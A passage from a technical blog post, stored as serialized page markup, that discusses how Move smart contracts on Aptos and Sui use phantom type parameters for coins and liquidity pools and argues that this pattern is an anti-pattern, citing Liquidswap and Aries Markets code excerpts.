Coin\u003Cphantom CoinType> has store {\n /// Amount of coin this address has.\n value: u64,\n }\n",[13496],{"type":24,"tag":135,"props":13497,"children":13498},{"__ignoreMap":7},[13499,13507,13552,13560,13581],{"type":24,"tag":271,"props":13500,"children":13501},{"class":273,"line":274},[13502],{"type":24,"tag":271,"props":13503,"children":13504},{"style":2058},[13505],{"type":29,"value":13506}," /// Main structure representing a coin/token in an account's custody.\n",{"type":24,"tag":271,"props":13508,"children":13509},{"class":273,"line":284},[13510,13514,13519,13523,13528,13533,13538,13543,13548],{"type":24,"tag":271,"props":13511,"children":13512},{"style":278},[13513],{"type":29,"value":927},{"type":24,"tag":271,"props":13515,"children":13516},{"style":3887},[13517],{"type":29,"value":13518}," Coin",{"type":24,"tag":271,"props":13520,"children":13521},{"style":288},[13522],{"type":29,"value":801},{"type":24,"tag":271,"props":13524,"children":13525},{"style":630},[13526],{"type":29,"value":13527},"phantom",{"type":24,"tag":271,"props":13529,"children":13530},{"style":3887},[13531],{"type":29,"value":13532}," CoinType",{"type":24,"tag":271,"props":13534,"children":13535},{"style":288},[13536],{"type":29,"value":13537},"> ",{"type":24,"tag":271,"props":13539,"children":13540},{"style":630},[13541],{"type":29,"value":13542},"has",{"type":24,"tag":271,"props":13544,"children":13545},{"style":630},[13546],{"type":29,"value":13547}," store",{"type":24,"tag":271,"props":13549,"children":13550},{"style":288},[13551],{"type":29,"value":7145},{"type":24,"tag":271,"props":13553,"children":13554},{"class":273,"line":294},[13555],{"type":24,"tag":271,"props":13556,"children":13557},{"style":2058},[13558],{"type":29,"value":13559}," /// Amount of coin this address has.\n",{"type":24,"tag":271,"props":13561,"children":13562},{"class":273,"line":303},[13563,13568,13572,13577],{"type":24,"tag":271,"props":13564,"children":13565},{"style":630},[13566],{"type":29,"value":13567}," value",{"type":24,"tag":271,"props":13569,"children":13570},{"style":624},[13571],{"type":29,"value":12210},{"type":24,"tag":271,"props":13573,"children":13574},{"style":3887},[13575],{"type":29,"value":13576}," u64",{"type":24,"tag":271,"props":13578,"children":13579},{"style":288},[13580],{"type":29,"value":638},{"type":24,"tag":271,"props":13582,"children":13583},{"class":273,"line":312},[13584],{"type":24,"tag":271,"props":13585,"children":13586},{"style":288},[13587],{"type":29,"value":13588}," }\n",{"type":24,"tag":25,"props":13590,"children":13591},{},[13592],{"type":24,"tag":10648,"props":13593,"children":13594},{},[13595],{"type":29,"value":13596},"aptos",{"type":24,"tag":261,"props":13598,"children":13600},{"className":10718,"code":13599,"language":10717,"meta":7,"style":7}," /// A coin of type `T` worth `value`. Transferable and storable\n struct Coin\u003Cphantom T> has key, store {\n id: UID,\n balance: Balance\u003CT>\n }\n",[13601],{"type":24,"tag":135,"props":13602,"children":13603},{"__ignoreMap":7},[13604,13612,13662,13679,13710],{"type":24,"tag":271,"props":13605,"children":13606},{"class":273,"line":274},[13607],{"type":24,"tag":271,"props":13608,"children":13609},{"style":2058},[13610],{"type":29,"value":13611}," /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":24,"tag":271,"props":13613,"children":13614},{"class":273,"line":284},[13615,13619,13623,13627,13631,13636,13640,13644,13649,13653,13658],{"type":24,"tag":271,"props":13616,"children":13617},{"style":278},[13618],{"type":29,"value":927},{"type":24,"tag":271,"props":13620,"children":13621},{"style":3887},[13622],{"type":29,"value":13518},{"type":24,"tag":271,"props":13624,"children":13625},{"style":288},[13626],{"type":29,"value":801},{"type":24,"tag":271,"props":13628,"children":13629},{"style":630},[13630],{"type":29,"value":13527},{"type":24,"tag":271,"props":13632,"children":13633},{"style":3887},[13634],{"type":29,"value":13635}," T",{"type":24,"tag":271,"props":13637,"children":13638},{"style":288},[13639],{"type":29,"value":13537},{"type":24,"tag":271,"props":13641,"children":13642},{"style":630},[13643],{"type":29,"value":13542},{"type":24,"tag":271,"props":13645,"children":13646},{"style":630},[13647],{"type":29,"value":13648}," key",{"type":24,"tag":271,"props":13650,"children":13651},{"style":288},[13652],{"type":29,"value":158},{"type":24,"tag":271,"props":13654,"children":13655},{"style":630},[13656],{"type":29,"value":13657},"store",{"type":24,"tag":271,"props":13659,"children":13660},{"style":288},[13661],{"type":29,"value":7145},{"type":24,"tag":271,"props":13663,"children":13664},{"class":273,"line":294},[13665,13670,13674],{"type":24,"tag":271,"props":13666,"children":13667},{"style":630},[13668],{"type":29,"value":13669}," id",{"type":24,"tag":271,"props":13671,"children":13672},{"style":624},[13673],{"type":29,"value":12210},{"type":24,"tag":271,"props":13675,"children":13676},{"style":288},[13677],{"type":29,"value":13678}," UID,\n",{"type":24,"tag":271,"props":13680,"children":13681},{"class":273,"line":303},[13682,13687,13691,13696,13700,13705],{"type":24,"tag":271,"props":13683,"children":13684},{"style":630},[13685],{"type":29,"value":13686}," balance",{"type":24,"tag":271,"props":13688,"children":13689},{"style":624},[13690],{"type":29,"value":12210},{"type":24,"tag":271,"props":13692,"children":13693},{"style":3887},[13694],{"type":29,"value":13695}," Balance",{"type":24,"tag":271,"props":13697,"children":13698},{"style":288},[13699],{"type":29,"value":801},{"type":24,"tag":271,"props":13701,"children":13702},{"style":3887},[13703],{"type":29,"value":13704},"T",{"type":24,"tag":271,"props":13706,"children":13707},{"style":288},[13708],{"type":29,"value":13709},">\n",{"type":24,"tag":271,"props":13711,"children":13712},{"class":273,"line":312},[13713],{"type":24,"tag":271,"props":13714,"children":13715},{"style":288},[13716],{"type":29,"value":13588},{"type":24,"tag":25,"props":13718,"children":13719},{},[13720],{"type":24,"tag":10648,"props":13721,"children":13722},{},[13723],{"type":29,"value":13724},"sui",{"type":24,"tag":25,"props":13726,"children":13727},{},[13728,13730,13737,13739,13745],{"type":29,"value":13729},"Pulling an example from ",{"type":24,"tag":32,"props":13731,"children":13734},{"href":13732,"rel":13733},"https://pontem.network/",[36],[13735],{"type":29,"value":13736},"Pontem Network's",{"type":29,"value":13738}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":24,"tag":135,"props":13740,"children":13742},{"className":13741},[],[13743],{"type":29,"value":13744},"LiquidityPool",{"type":29,"value":13746}," natively embeds this type information into it's fields.",{"type":24,"tag":261,"props":13748,"children":13750},{"className":10718,"code":13749,"language":10717,"meta":7,"style":7}," /// Liquidity pool with reserves.\n struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n coin_x_reserve: Coin\u003CX>,\n coin_y_reserve: Coin\u003CY>,\n // ...\n }\n",[13751],{"type":24,"tag":135,"props":13752,"children":13753},{"__ignoreMap":7},[13754,13762,13826,13856,13885,13893],{"type":24,"tag":271,"props":13755,"children":13756},{"class":273,"line":274},[13757],{"type":24,"tag":271,"props":13758,"children":13759},{"style":2058},[13760],{"type":29,"value":13761}," /// Liquidity pool with reserves.\n",{"type":24,"tag":271,"props":13763,"children":13764},{"class":273,"line":284},[13765,13770,13775,13779,13783,13788,13792,13796,13801,13805,13809,13814,13818,13822],{"type":24,"tag":271,"props":13766,"children":13767},{"style":278},[13768],{"type":29,"value":13769}," struct",{"type":24,"tag":271,"props":13771,"children":13772},{"style":3887},[13773],{"type":29,"value":13774}," LiquidityPool",{"type":24,"tag":271,"props":13776,"children":13777},{"style":288},[13778],{"type":29,"value":801},{"type":24,"tag":271,"props":13780,"children":13781},{"style":630},[13782],{"type":29,"value":13527},{"type":24,"tag":271,"props":13784,"children":13785},{"style":3887},[13786],{"type":29,"value":13787}," X",{"type":24,"tag":271,"props":13789,"children":13790},{"style":288},[13791],{"type":29,"value":158},{"type":24,"tag":271,"props":13793,"children":13794},{"style":630},[13795],{"type":29,"value":13527},{"type":24,"tag":271,"props":13797,"children":13798},{"style":3887},[13799],{"type":29,"value":13800}," Y",{"type":24,"tag":271,"props":13802,"children":13803},{"style":288},[13804],{"type":29,"value":158},{"type":24,"tag":271,"props":13806,"children":13807},{"style":630},[13808],{"type":29,"value":13527},{"type":24,"tag":271,"props":13810,"children":13811},{"style":288},[13812],{"type":29,"value":13813}," LP> ",{"type":24,"tag":271,"props":13815,"children":13816},{"style":630},[13817],{"type":29,"value":13542},{"type":24,"tag":271,"props":13819,"children":13820},{"style":630},[13821],{"type":29,"value":13648},{"type":24,"tag":271,"props":13823,"children":13824},{"style":288},[13825],{"type":29,"value":7145},{"type":24,"tag":271,"props":13827,"children":13828},{"class":273,"line":294},[13829,13834,13838,13842,13846,13851],{"type":24,"tag":271,"props":13830,"children":13831},{"style":630},[13832],{"type":29,"value":13833}," coin_x_reserve",{"type":24,"tag":271,"props":13835,"children":13836},{"style":624},[13837],{"type":29,"value":12210},{"type":24,"tag":271,"props":13839,"children":13840},{"style":3887},[13841],{"type":29,"value":13518},{"type":24,"tag":271,"props":13843,"children":13844},{"style":288},[13845],{"type":29,"value":801},{"type":24,"tag":271,"props":13847,"children":13848},{"style":3887},[13849],{"type":29,"value":13850},"X",{"type":24,"tag":271,"props":13852,"children":13853},{"style":288},[13854],{"type":29,"value":13855},">,\n",{"type":24,"tag":271,"props":13857,"children":13858},{"class":273,"line":303},[13859,13864,13868,13872,13876,13881],{"type":24,"tag":271,"props":13860,"children":13861},{"style":630},[13862],{"type":29,"value":13863}," coin_y_reserve",{"type":24,"tag":271,"props":13865,"children":13866},{"style":624},[13867],{"type":29,"value":12210},{"type":24,"tag":271,"props":13869,"children":13870},{"style":3887},[13871],{"type":29,"value":13518},{"type":24,"tag":271,"props":13873,"children":13874},{"style":288},[13875],{"type":29,"value":801},{"type":24,"tag":271,"props":13877,"children":13878},{"style":3887},[13879],{"type":29,"value":13880},"Y",{"type":24,"tag":271,"props":13882,"children":13883},{"style":288},[13884],{"type":29,"value":13855},{"type":24,"tag":271,"props":13886,"children":13887},{"class":273,"line":312},[13888],{"type":24,"tag":271,"props":13889,"children":13890},{"style":2058},[13891],{"type":29,"value":13892}," // ...\n",{"type":24,"tag":271,"props":13894,"children":13895},{"class":273,"line":321},[13896],{"type":24,"tag":271,"props":13897,"children":13898},{"style":288},[13899],{"type":29,"value":4385},{"type":24,"tag":25,"props":13901,"children":13902},{},[13903],{"type":29,"value":13904},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":24,"tag":261,"props":13906,"children":13908},{"className":10718,"code":13907,"language":10717,"meta":7,"style":7}," public fun mint\u003CX, Y, LP>(\n pool_addr: address,\n coin_x: Coin\u003CX>,\n coin_y: Coin\u003CY>\n ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n // ...\n\n let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[13909],{"type":24,"tag":135,"props":13910,"children":13911},{"__ignoreMap":7},[13912,13951,13972,14000,14028,14079,14087,14094],{"type":24,"tag":271,"props":13913,"children":13914},{"class":273,"line":274},[13915,13920,13925,13930,13934,13938,13942,13946],{"type":24,"tag":271,"props":13916,"children":13917},{"style":630},[13918],{"type":29,"value":13919}," public",{"type":24,"tag":271,"props":13921,"children":13922},{"style":630},[13923],{"type":29,"value":13924}," fun",{"type":24,"tag":271,"props":13926,"children":13927},{"style":630},[13928],{"type":29,"value":13929}," mint",{"type":24,"tag":271,"props":13931,"children":13932},{"style":288},[13933],{"type":29,"value":801},{"type":24,"tag":271,"props":13935,"children":13936},{"style":3887},[13937],{"type":29,"value":13850},{"type":24,"tag":271,"props":13939,"children":13940},{"style":288},[13941],{"type":29,"value":158},{"type":24,"tag":271,"props":13943,"children":13944},{"style":3887},[13945],{"type":29,"value":13880},{"type":24,"tag":271,"props":13947,"children":13948},{"style":288},[13949],{"type":29,"value":13950},", LP>(\n",{"type":24,"tag":271,"props":13952,"children":13953},{"class":273,"line":284},[13954,13959,13963,13968],{"type":24,"tag":271,"props":13955,"children":13956},{"style":630},[13957],{"type":29,"value":13958}," pool_addr",{"type":24,"tag":271,"props":13960,"children":13961},{"style":624},[13962],{"type":29,"value":12210},{"type":24,"tag":271,"props":13964,"children":13965},{"style":630},[13966],{"type":29,"value":13967}," address",{"type":24,"tag":271,"props":13969,"children":13970},{"style":288},[13971],{"type":29,"value":638},{"type":24,"tag":271,"props":13973,"children":13974},{"class":273,"line":294},[13975,13980,13984,13988,13992,13996],{"type":24,"tag":271,"props":13976,"children":13977},{"style":630},[13978],{"type":29,"value":13979}," coin_x",{"type":24,"tag":271,"props":13981,"children":13982},{"style":624},[13983],{"type":29,"value":12210},{"type":24,"tag":271,"props":13985,"children":13986},{"style":3887},[13987],{"type":29,"value":13518},{"type":24,"tag":271,"props":13989,"children":13990},{"style":288},[13991],{"type":29,"value":801},{"type":24,"tag":271,"props":13993,"children":13994},{"style":3887},[13995],{"type":29,"value":13850},{"type":24,"tag":271,"props":13997,"children":13998},{"style":288},[13999],{"type":29,"value":13855},{"type":24,"tag":271,"props":14001,"children":14002},{"class":273,"line":303},[14003,14008,14012,14016,14020,14024],{"type":24,"tag":271,"props":14004,"children":14005},{"style":630},[14006],{"type":29,"value":14007}," coin_y",{"type":24,"tag":271,"props":14009,"children":14010},{"style":624},[14011],{"type":29,"value":12210},{"type":24,"tag":271,"props":14013,"children":14014},{"style":3887},[14015],{"type":29,"value":13518},{"type":24,"tag":271,"props":14017,"children":14018},{"style":288},[14019],{"type":29,"value":801},{"type":24,"tag":271,"props":14021,"children":14022},{"style":3887},[14023],{"type":29,"value":13880},{"type":24,"tag":271,"props":14025,"children":14026},{"style":288},[14027],{"type":29,"value":13709},{"type":24,"tag":271,"props":14029,"children":14030},{"class":273,"line":312},[14031,14036,14040,14044,14048,14053,14057,14062,14066,14070,14075],{"type":24,"tag":271,"props":14032,"children":14033},{"style":288},[14034],{"type":29,"value":14035}," )",{"type":24,"tag":271,"props":14037,"children":14038},{"style":624},[14039],{"type":29,"value":12210},{"type":24,"tag":271,"props":14041,"children":14042},{"style":3887},[14043],{"type":29,"value":13518},{"type":24,"tag":271,"props":14045,"children":14046},{"style":288},[14047],{"type":29,"value":801},{"type":24,"tag":271,"props":14049,"children":14050},{"style":3887},[14051],{"type":29,"value":14052},"LP",{"type":24,"tag":271,"props":14054,"children":14055},{"style":288},[14056],{"type":29,"value":13537},{"type":24,"tag":271,"props":14058,"children":14059},{"style":630},[14060],{"type":29,"value":14061},"acquires",{"type":24,"tag":271,"props":14063,"children":14064},{"style":3887},[14065],{"type":29,"value":13774},{"type":24,"tag":271,"props":14067,"children":14068},{"style":288},[14069],{"type":29,"value":158},{"type":24,"tag":271,"props":14071,"children":14072},{"style":3887},[14073],{"type":29,"value":14074},"EventsStore",{"type":24,"tag":271,"props":14076,"children":14077},{"style":288},[14078],{"type":29,"value":7145},{"type":24,"tag":271,"props":14080,"children":14081},{"class":273,"line":321},[14082],{"type":24,"tag":271,"props":14083,"children":14084},{"style":2058},[14085],{"type":29,"value":14086}," // ...\n",{"type":24,"tag":271,"props":14088,"children":14089},{"class":273,"line":330},[14090],{"type":24,"tag":271,"props":14091,"children":14092},{"emptyLinePlaceholder":16},[14093],{"type":29,"value":327},{"type":24,"tag":271,"props":14095,"children":14096},{"class":273,"line":339},[14097,14102,14106,14111,14115,14120,14124,14128,14133,14137,14141,14145,14149,14154,14159],{"type":24,"tag":271,"props":14098,"children":14099},{"style":278},[14100],{"type":29,"value":14101}," let",{"type":24,"tag":271,"props":14103,"children":14104},{"style":288},[14105],{"type":29,"value":1357},{"type":24,"tag":271,"props":14107,"children":14108},{"style":630},[14109],{"type":29,"value":14110},"x_reserve_size",{"type":24,"tag":271,"props":14112,"children":14113},{"style":288},[14114],{"type":29,"value":158},{"type":24,"tag":271,"props":14116,"children":14117},{"style":630},[14118],{"type":29,"value":14119},"y_reserve_size",{"type":24,"tag":271,"props":14121,"children":14122},{"style":288},[14123],{"type":29,"value":8823},{"type":24,"tag":271,"props":14125,"children":14126},{"style":624},[14127],{"type":29,"value":762},{"type":24,"tag":271,"props":14129,"children":14130},{"style":630},[14131],{"type":29,"value":14132}," get_reserves_size",{"type":24,"tag":271,"props":14134,"children":14135},{"style":288},[14136],{"type":29,"value":801},{"type":24,"tag":271,"props":14138,"children":14139},{"style":3887},[14140],{"type":29,"value":13850},{"type":24,"tag":271,"props":14142,"children":14143},{"style":288},[14144],{"type":29,"value":158},{"type":24,"tag":271,"props":14146,"children":14147},{"style":3887},[14148],{"type":29,"value":13880},{"type":24,"tag":271,"props":14150,"children":14151},{"style":288},[14152],{"type":29,"value":14153},", LP>(",{"type":24,"tag":271,"props":14155,"children":14156},{"style":630},[14157],{"type":29,"value":14158},"pool_addr",{"type":24,"tag":271,"props":14160,"children":14161},{"style":288},[14162],{"type":29,"value":1155},{"type":24,"tag":25,"props":14164,"children":14165},{},[14166,14168,14174,14175,14182],{"type":29,"value":14167},"As an aside, this generic type information is implemented at runtime in the ",{"type":24,"tag":135,"props":14169,"children":14171},{"className":14170},[],[14172],{"type":29,"value":14173},"ty_args",{"type":29,"value":3360},{"type":24,"tag":32,"props":14176,"children":14179},{"href":14177,"rel":14178},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[36],[14180],{"type":29,"value":14181},"at the vm level",{"type":29,"value":14183},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":24,"tag":25,"props":14185,"children":14186},{},[14187,14189,14195,14197,14203,14205,14211,14212,14218],{"type":29,"value":14188},"In pseucode, this checks that ",{"type":24,"tag":135,"props":14190,"children":14192},{"className":14191},[],[14193],{"type":29,"value":14194},"coin_x.type",{"type":29,"value":14196}," is equal to ",{"type":24,"tag":135,"props":14198,"children":14200},{"className":14199},[],[14201],{"type":29,"value":14202},"pool.x_type",{"type":29,"value":14204},", and ",{"type":24,"tag":135,"props":14206,"children":14208},{"className":14207},[],[14209],{"type":29,"value":14210},"coin_y.type",{"type":29,"value":14196},{"type":24,"tag":135,"props":14213,"children":14215},{"className":14214},[],[14216],{"type":29,"value":14217},"pool.y_type",{"type":29,"value":41},{"type":24,"tag":25,"props":14220,"children":14221},{},[14222],{"type":29,"value":14223},"This type system has two advantages",{"type":24,"tag":3834,"props":14225,"children":14226},{},[14227,14239],{"type":24,"tag":101,"props":14228,"children":14229},{},[14230,14232,14237],{"type":29,"value":14231},"It's required. The type parameter ",{"type":24,"tag":10648,"props":14233,"children":14234},{},[14235],{"type":29,"value":14236},"must",{"type":29,"value":14238}," be specified so it's impossible to forget such a constraint",{"type":24,"tag":101,"props":14240,"children":14241},{},[14242],{"type":29,"value":14243},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":24,"tag":25,"props":14245,"children":14246},{},[14247],{"type":29,"value":14248},"However, this system isn't perfect.",{"type":24,"tag":25,"props":14250,"children":14251},{},[14252,14254,14259],{"type":29,"value":14253},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":24,"tag":213,"props":14255,"children":14256},{},[14257],{"type":29,"value":14258},"an anti-pattern",{"type":29,"value":41},{"type":24,"tag":25,"props":14261,"children":14262},{},[14263,14265,14271],{"type":29,"value":14264},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":24,"tag":135,"props":14266,"children":14268},{"className":14267},[],[14269],{"type":29,"value":14270},"CoinInfo\u003CCoinType>",{"type":29,"value":41},{"type":24,"tag":261,"props":14273,"children":14275},{"className":10718,"code":14274,"language":10717,"meta":7,"style":7}," fun initialize_internal\u003CCoinType>(\n // ...\n ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n // ...\n\n assert!(\n !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n );\n",[14276],{"type":24,"tag":135,"props":14277,"children":14278},{"__ignoreMap":7},[14279,14306,14314,14383,14390,14397,14409,14454,14476],{"type":24,"tag":271,"props":14280,"children":14281},{"class":273,"line":274},[14282,14287,14292,14296,14301],{"type":24,"tag":271,"props":14283,"children":14284},{"style":630},[14285],{"type":29,"value":14286}," fun",{"type":24,"tag":271,"props":14288,"children":14289},{"style":630},[14290],{"type":29,"value":14291}," initialize_internal",{"type":24,"tag":271,"props":14293,"children":14294},{"style":288},[14295],{"type":29,"value":801},{"type":24,"tag":271,"props":14297,"children":14298},{"style":3887},[14299],{"type":29,"value":14300},"CoinType",{"type":24,"tag":271,"props":14302,"children":14303},{"style":288},[14304],{"type":29,"value":14305},">(\n",{"type":24,"tag":271,"props":14307,"children":14308},{"class":273,"line":284},[14309],{"type":24,"tag":271,"props":14310,"children":14311},{"style":2058},[14312],{"type":29,"value":14313}," // ...\n",{"type":24,"tag":271,"props":14315,"children":14316},{"class":273,"line":294},[14317,14322,14326,14330,14335,14339,14343,14348,14353,14357,14361,14365,14370,14374,14378],{"type":24,"tag":271,"props":14318,"children":14319},{"style":288},[14320],{"type":29,"value":14321}," )",{"type":24,"tag":271,"props":14323,"children":14324},{"style":624},[14325],{"type":29,"value":12210},{"type":24,"tag":271,"props":14327,"children":14328},{"style":288},[14329],{"type":29,"value":1357},{"type":24,"tag":271,"props":14331,"children":14332},{"style":3887},[14333],{"type":29,"value":14334},"BurnCapability",{"type":24,"tag":271,"props":14336,"children":14337},{"style":288},[14338],{"type":29,"value":801},{"type":24,"tag":271,"props":14340,"children":14341},{"style":3887},[14342],{"type":29,"value":14300},{"type":24,"tag":271,"props":14344,"children":14345},{"style":288},[14346],{"type":29,"value":14347},">, ",{"type":24,"tag":271,"props":14349,"children":14350},{"style":3887},[14351],{"type":29,"value":14352},"FreezeCapability",{"type":24,"tag":271,"props":14354,"children":14355},{"style":288},[14356],{"type":29,"value":801},{"type":24,"tag":271,"props":14358,"children":14359},{"style":3887},[14360],{"type":29,"value":14300},{"type":24,"tag":271,"props":14362,"children":14363},{"style":288},[14364],{"type":29,"value":14347},{"type":24,"tag":271,"props":14366,"children":14367},{"style":3887},[14368],{"type":29,"value":14369},"MintCapability",{"type":24,"tag":271,"props":14371,"children":14372},{"style":288},[14373],{"type":29,"value":801},{"type":24,"tag":271,"props":14375,"children":14376},{"style":3887},[14377],{"type":29,"value":14300},{"type":24,"tag":271,"props":14379,"children":14380},{"style":288},[14381],{"type":29,"value":14382},">) {\n",{"type":24,"tag":271,"props":14384,"children":14385},{"class":273,"line":303},[14386],{"type":24,"tag":271,"props":14387,"children":14388},{"style":2058},[14389],{"type":29,"value":14313},{"type":24,"tag":271,"props":14391,"children":14392},{"class":273,"line":312},[14393],{"type":24,"tag":271,"props":14394,"children":14395},{"emptyLinePlaceholder":16},[14396],{"type":29,"value":327},{"type":24,"tag":271,"props":14398,"children":14399},{"class":273,"line":321},[14400,14405],{"type":24,"tag":271,"props":14401,"children":14402},{"style":598},[14403],{"type":29,"value":14404}," assert!",{"type":24,"tag":271,"props":14406,"children":14407},{"style":288},[14408],{"type":29,"value":4028},{"type":24,"tag":271,"props":14410,"children":14411},{"class":273,"line":330},[14412,14417,14422,14426,14431,14435,14439,14444,14449],{"type":24,"tag":271,"props":14413,"children":14414},{"style":624},[14415],{"type":29,"value":14416}," !",{"type":24,"tag":271,"props":14418,"children":14419},{"style":630},[14420],{"type":29,"value":14421},"exists",{"type":24,"tag":271,"props":14423,"children":14424},{"style":288},[14425],{"type":29,"value":801},{"type":24,"tag":271,"props":14427,"children":14428},{"style":3887},[14429],{"type":29,"value":14430},"CoinInfo",{"type":24,"tag":271,"props":14432,"children":14433},{"style":288},[14434],{"type":29,"value":801},{"type":24,"tag":271,"props":14436,"children":14437},{"style":3887},[14438],{"type":29,"value":14300},{"type":24,"tag":271,"props":14440,"children":14441},{"style":288},[14442],{"type":29,"value":14443},">>(",{"type":24,"tag":271,"props":14445,"children":14446},{"style":630},[14447],{"type":29,"value":14448},"account_addr",{"type":24,"tag":271,"props":14450,"children":14451},{"style":288},[14452],{"type":29,"value":14453},"),\n",{"type":24,"tag":271,"props":14455,"children":14456},{"class":273,"line":339},[14457,14462,14466,14471],{"type":24,"tag":271,"props":14458,"children":14459},{"style":288},[14460],{"type":29,"value":14461}," error",{"type":24,"tag":271,"props":14463,"children":14464},{"style":624},[14465],{"type":29,"value":11207},{"type":24,"tag":271,"props":14467,"children":14468},{"style":598},[14469],{"type":29,"value":14470},"already_exists",{"type":24,"tag":271,"props":14472,"children":14473},{"style":288},[14474],{"type":29,"value":14475},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":24,"tag":271,"props":14477,"children":14478},{"class":273,"line":347},[14479],{"type":24,"tag":271,"props":14480,"children":14481},{"style":288},[14482],{"type":29,"value":14483}," );\n",{"type":24,"tag":25,"props":14485,"children":14486},{},[14487,14489,14494],{"type":29,"value":14488},"While this ",{"type":24,"tag":135,"props":14490,"children":14492},{"className":14491},[],[14493],{"type":29,"value":14430},{"type":29,"value":14495}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":24,"tag":25,"props":14497,"children":14498},{},[14499,14501,14508],{"type":29,"value":14500},"Similarly, consider ",{"type":24,"tag":32,"props":14502,"children":14505},{"href":14503,"rel":14504},"https://ariesmarkets.xyz/",[36],[14506],{"type":29,"value":14507},"Aries Markets",{"type":29,"value":14509},", a lending/borrowing protocol building on Aptos.",{"type":24,"tag":25,"props":14511,"children":14512},{},[14513,14515,14521],{"type":29,"value":14514},"Their ",{"type":24,"tag":135,"props":14516,"children":14518},{"className":14517},[],[14519],{"type":29,"value":14520},"ReserveCoinContainer",{"type":29,"value":14522}," struct stores all the relevant data and resources for managing a lending market.",{"type":24,"tag":261,"props":14524,"children":14526},{"className":10718,"code":14525,"language":10717,"meta":7,"style":7}," /// The struct to hold all the underlying `Coin`s.\n /// Stored as a resources.\n struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n /// Stores the available `Coin`.\n underlying_coin: Coin\u003CCoin0>,\n /// Stores the LP `Coin` that act as collateral.\n collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n /// Mint capability for LP Coin.\n mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n /// Burn capability for LP Coin.\n burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n // ...\n }\n\n",[14527],{"type":24,"tag":135,"props":14528,"children":14529},{"__ignoreMap":7},[14530,14538,14546,14587,14595,14624,14632,14669,14677,14714,14722,14759,14766,14773],{"type":24,"tag":271,"props":14531,"children":14532},{"class":273,"line":274},[14533],{"type":24,"tag":271,"props":14534,"children":14535},{"style":2058},[14536],{"type":29,"value":14537}," /// The struct to hold all the underlying `Coin`s.\n",{"type":24,"tag":271,"props":14539,"children":14540},{"class":273,"line":284},[14541],{"type":24,"tag":271,"props":14542,"children":14543},{"style":2058},[14544],{"type":29,"value":14545}," /// Stored as a resources.\n",{"type":24,"tag":271,"props":14547,"children":14548},{"class":273,"line":294},[14549,14553,14558,14562,14566,14571,14575,14579,14583],{"type":24,"tag":271,"props":14550,"children":14551},{"style":278},[14552],{"type":29,"value":927},{"type":24,"tag":271,"props":14554,"children":14555},{"style":3887},[14556],{"type":29,"value":14557}," ReserveCoinContainer",{"type":24,"tag":271,"props":14559,"children":14560},{"style":288},[14561],{"type":29,"value":801},{"type":24,"tag":271,"props":14563,"children":14564},{"style":630},[14565],{"type":29,"value":13527},{"type":24,"tag":271,"props":14567,"children":14568},{"style":3887},[14569],{"type":29,"value":14570}," Coin0",{"type":24,"tag":271,"props":14572,"children":14573},{"style":288},[14574],{"type":29,"value":13537},{"type":24,"tag":271,"props":14576,"children":14577},{"style":630},[14578],{"type":29,"value":13542},{"type":24,"tag":271,"props":14580,"children":14581},{"style":630},[14582],{"type":29,"value":13648},{"type":24,"tag":271,"props":14584,"children":14585},{"style":288},[14586],{"type":29,"value":7145},{"type":24,"tag":271,"props":14588,"children":14589},{"class":273,"line":303},[14590],{"type":24,"tag":271,"props":14591,"children":14592},{"style":2058},[14593],{"type":29,"value":14594}," /// Stores the available `Coin`.\n",{"type":24,"tag":271,"props":14596,"children":14597},{"class":273,"line":312},[14598,14603,14607,14611,14615,14620],{"type":24,"tag":271,"props":14599,"children":14600},{"style":630},[14601],{"type":29,"value":14602}," underlying_coin",{"type":24,"tag":271,"props":14604,"children":14605},{"style":624},[14606],{"type":29,"value":12210},{"type":24,"tag":271,"props":14608,"children":14609},{"style":3887},[14610],{"type":29,"value":13518},{"type":24,"tag":271,"props":14612,"children":14613},{"style":288},[14614],{"type":29,"value":801},{"type":24,"tag":271,"props":14616,"children":14617},{"style":3887},[14618],{"type":29,"value":14619},"Coin0",{"type":24,"tag":271,"props":14621,"children":14622},{"style":288},[14623],{"type":29,"value":13855},{"type":24,"tag":271,"props":14625,"children":14626},{"class":273,"line":321},[14627],{"type":24,"tag":271,"props":14628,"children":14629},{"style":2058},[14630],{"type":29,"value":14631}," /// Stores the LP `Coin` that act as collateral.\n",{"type":24,"tag":271,"props":14633,"children":14634},{"class":273,"line":330},[14635,14640,14644,14648,14652,14656,14660,14664],{"type":24,"tag":271,"props":14636,"children":14637},{"style":630},[14638],{"type":29,"value":14639}," 